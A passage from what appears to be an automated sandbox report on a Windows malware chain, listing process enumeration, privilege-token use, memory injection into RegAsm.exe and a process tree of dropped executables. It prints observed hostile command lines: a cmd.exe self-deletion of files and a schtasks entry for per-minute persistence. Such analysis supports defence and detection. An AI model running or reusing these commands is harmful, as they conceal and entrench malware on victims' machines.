e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Pictures\UogaYUbUb8Aq5O10OiVnLPNU.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe N/A
N/A N/A C:\Users\Admin\Pictures\guGDdTZAIP8FrHajzeB5bFh2.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 388 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 388 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 388 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 4584 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 4584 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 4584 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 1704 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 2544 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4584 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4584 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4584 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 3660 wrote to memory of 4436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 3660 wrote to memory of 4436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 3660 wrote to memory of 4436 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
PID 3660 wrote to memory of 4392 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
PID 3660 wrote to memory of 4392 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
PID 4584 wrote to memory of 4592 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4584 wrote to memory of 4592 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4584 wrote to memory of 4592 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4592 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4584 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 4584 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 4584 wrote to memory of 2988 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2988 wrote to memory of 4280 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4280 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4280 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2988 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4584 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 4584 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 4584 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
PID 1632 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1632 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1632 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1632 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1632 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1632 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe

"C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1704 -ip 1704

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 296

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2988 -ip 2988

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 292

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

"C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Users\Admin\AppData\Local\Temp\e5789e1\download.exe

